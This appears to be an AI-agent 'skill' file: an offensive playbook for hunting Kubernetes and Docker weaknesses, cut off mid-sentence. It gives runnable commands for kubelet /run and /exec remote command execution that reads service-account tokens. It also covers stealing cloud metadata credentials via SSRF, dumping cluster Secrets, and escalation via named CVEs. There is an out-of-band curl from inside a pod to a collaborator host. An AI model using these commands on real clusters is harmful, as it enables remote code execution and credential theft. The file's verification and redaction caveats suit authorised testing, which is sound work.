hunt-k8s – DevOps & Infrastructure skill for AI agents

HUNT-K8S — Kubernetes & Docker Security

Crown Jewel Targets

K8s API anonymous cluster-admin = full cluster control. docker.sock + RCE = host root. A single privileged-pod create or a kubelet /run shell pivots one finding to total compromise.

Highest-value findings:

• K8s API anonymous cluster-admin — system:anonymous/system:unauthenticated bound to a powerful role (classic misconfig: system:anonymous in a ClusterRoleBinding to cluster-admin) → full kubectl. Mere anonymous 200 is NOT this (see false-positive section).
• Kubelet 10250 exec/run — /run returns command output directly; /exec is a SPDY/WebSocket stream (see Phase 3). Either → RCE in any pod → steal that pod's SA token.
• API-server-mediated kubelet RCE — /api/v1/nodes/<node>/proxy/run/... reaches the kubelet *through* the API server using your (low-priv) token; if RBAC grants nodes/proxy, you get pod RCE without touching 10250 directly. Primary 2024-2026 vector.
• etcd 2379 unauth — every Secret (SA tokens, TLS keys, app creds) stored, often plaintext (unless EncryptionConfiguration is set) → full credential dump.
• docker.sock exposure — SSRF/LFI/RCE reaching /var/run/docker.sock → create --privileged container, bind-mount host / → host root.
• Container escape via runc — Leaky Vessels (CVE-2024-21626): WORKDIR/process.cwd pointing at a leaked /proc/self/fd/<n> host FD → break out of an attacker-controlled image/exec to host root.
• SA token abuse — auto-mounted token at /var/run/secrets/kubernetes.io/serviceaccount/token; check its real grants with SelfSubjectRulesReview before claiming impact.
• K8s Dashboard skip-login / token-less API — full cluster management UI reachable unauthenticated.

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OOB / Confirmation Gate (Read First)

K8s findings are RCE/credential-disclosure class. House rule: prove state change or data read, never infer from a status code.

• A 200 on /api/v1/namespaces does not mean cluster-admin. The API server returns 200 with an RBAC-filtered (often empty items: []) list to *any* principal that can reach list namespaces — anonymous read on a few resources is common and low-impact. Confirm real privilege with SelfSubjectRulesReview / SelfSubjectAccessReview, then by actually reading a Secret value.
• 10255 (read-only) vs 10250 (exec) are constantly conflated. 10255 (HTTP, no auth) is info-disclosure only — it has /pods, /stats, /metrics, NO exec/run. 10250 (HTTPS) is where /run and /exec live. Do not report "kubelet RCE" off a 10255 hit.
• Blind/outbound vectors need OOB. If you exploit SSRF→IMDS→K8s, or a pod's egress, confirm the outbound hop with a Burp Collaborator / interactsh subdomain (e.g. curl http://<token>.<collab> from inside the pod via /run). A delayed response or an echoed URL is NOT proof.
• Impact proof = the artifact. For exec: the literal id/hostname output. For etcd/Secret: the decoded token bytes (redact in report). For docker.sock escape: the host file content (/etc/hostname of the node, distinct from the container's).
• Use a dedicated test namespace / test pod when you have create rights; never exec into production workloads to "prove" RCE — list the pod and exec a read-only id in a pod you spun up if policy allows, or limit to a single non-destructive id and stop.

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Phase 1 — Fingerprint & Port Discovery

# Common Kubernetes / container ports
PORTS="443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010"
nmap -sV -p $PORTS $TARGET 2>/dev/null | grep open

# API server fingerprint — the /version endpoint is anonymous on most clusters
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:6443/version"        # {"major":"1","minor":"29","gitVersion":"v1.29.x"...}
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:6443/api"             # APIVersions list, even pre-auth
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:6443/healthz"

# Cloud metadata pivot (reach K8s SA / node creds from an SSRF foothold)
curl --max-time 30 --connect-timeout 10 -s "http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/" # AWS EKS (IMDSv1)
TOK=$(curl --max-time 30 --connect-timeout 10 -s -X PUT "http://[REDACTED_IP]/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60") # IMDSv2
curl --max-time 30 --connect-timeout 10 -s -H "X-aws-ec2-metadata-token: $TOK" "http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/"
curl --max-time 30 --connect-timeout 10 -s "http://[REDACTED_IP]/metadata/instance?api-version=2021-02-01" -H "Metadata: true"      # Azure AKS
curl --max-time 30 --connect-timeout 10 -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" # GKE

Note the gitVersion — it gates every CVE below.

---

Phase 2 — Kubernetes API Anonymous / Low-Priv Access

SRV="https://$TARGET:6443"

# 1. What am I? (anonymous → "system:anonymous")
curl --max-time 30 --connect-timeout 10 -sk "$SRV/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \
  -H 'Content-Type: application/json' \
  -d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}'

# 2. What can I actually DO? (the only honest privilege check)
curl --max-time 30 --connect-timeout 10 -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
  -H 'Content-Type: application/json' \
  -d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"default"}}'

# 3. Targeted access check for the crown-jewel verbs
for R in secrets pods nodes/proxy pods/exec; do
  curl --max-time 30 --connect-timeout 10 -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" -X POST \
   -H 'Content-Type: application/json' \
   -d "{\"kind\":\"SelfSubjectAccessReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"resourceAttributes\":{\"verb\":\"create\",\"resource\":\"${R%%/*}\",\"subresource\":\"${R#*/}\"}}}" \
   | grep -o '"allowed":[a-z]*' | sed "s#^#$R #"
done

# 4. Only if access review says allowed — read a real Secret to prove impact
curl --max-time 30 --connect-timeout 10 -sk "$SRV/api/v1/secrets" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("items",[])),"secrets")'
# decode one value (redact before reporting):
# echo '<base64>' | base64 -d

CVE-2018-1002105 (gitVersion < v1.10.11/1.11.5/1.12.3): API-server proxy upgrade flaw lets an unauthenticated/low-priv user escalate to backend (kubelet/aggregated-API) requests with API-server identity → cluster-admin. Fingerprint gitVersion in Phase 1; if vulnerable this is the single highest-impact finding.

---

Phase 3 — Kubelet (Port 10250) — /run First, /exec Done Right

The earlier version of this skill sent /exec as a plain POST and expected id output back. That is wrong. /exec is a SPDY/WebSocket *streaming* endpoint: a plain POST returns a 302 redirect to a stream location (e.g. /cri/exec/<token>) that you then must read with a SPDY/WebSocket client. An operator who runs the old curl sees nothing and wrongly concludes the kubelet is patched.

SRV="https://$TARGET:10250"

# Enumerate pods (auth varies; many kubelets allow anonymous read here)
curl --max-time 30 --connect-timeout 10 -sk "$SRV/pods" | python3 -m json.tool 2>/dev/null \
  | grep -E '"namespace"|"name"|"containerName"' | head -40

NS=default; POD=target-pod; CTR=app

# --- PRIMITIVE A: /run — returns command output DIRECTLY (no stream handling) ---
# This is the simple correct primitive. Use this first.
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=id"
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

# --- PRIMITIVE B: /exec — SPDY/WebSocket stream, NOT a plain POST ---
# Option 1: kubeletctl handles the stream transport for you (recommended)
#   kubeletctl --server $TARGET exec "id" -p $POD -c $CTR -n $NS
#   kubeletctl --server $TARGET scan rce         # finds every exec-able pod
# Option 2: raw — the POST returns a 302 to a stream path; -v to see Location, then
#   read it with a SPDY3.1/WebSocket client (wscat / websocat), e.g.:
#   curl -sk -i -X POST "$SRV/exec/$NS/$POD/$CTR?command=id&input=1&output=1&tty=0"   # shows 302 Location
#   websocat -k "wss://$TARGET:10250/cri/exec/<token-from-Location>"

# Container logs (read-only, no stream)
curl --max-time 30 --connect-timeout 10 -sk "$SRV/containerLogs/$NS/$POD/$CTR"

# Read-only kubelet 10255 — INFO DISCLOSURE ONLY, no exec/run. Do not call this "RCE".
curl --max-time 30 --connect-timeout 10 -s "http://$TARGET:10255/pods" | python3 -m json.tool 2>/dev/null | head
curl --max-time 30 --connect-timeout 10 -s "http://$TARGET:10255/metrics" | head

CVE-2020-8558 (host-network trust): on affected kube-proxy, services bound

… (full content is in the download package)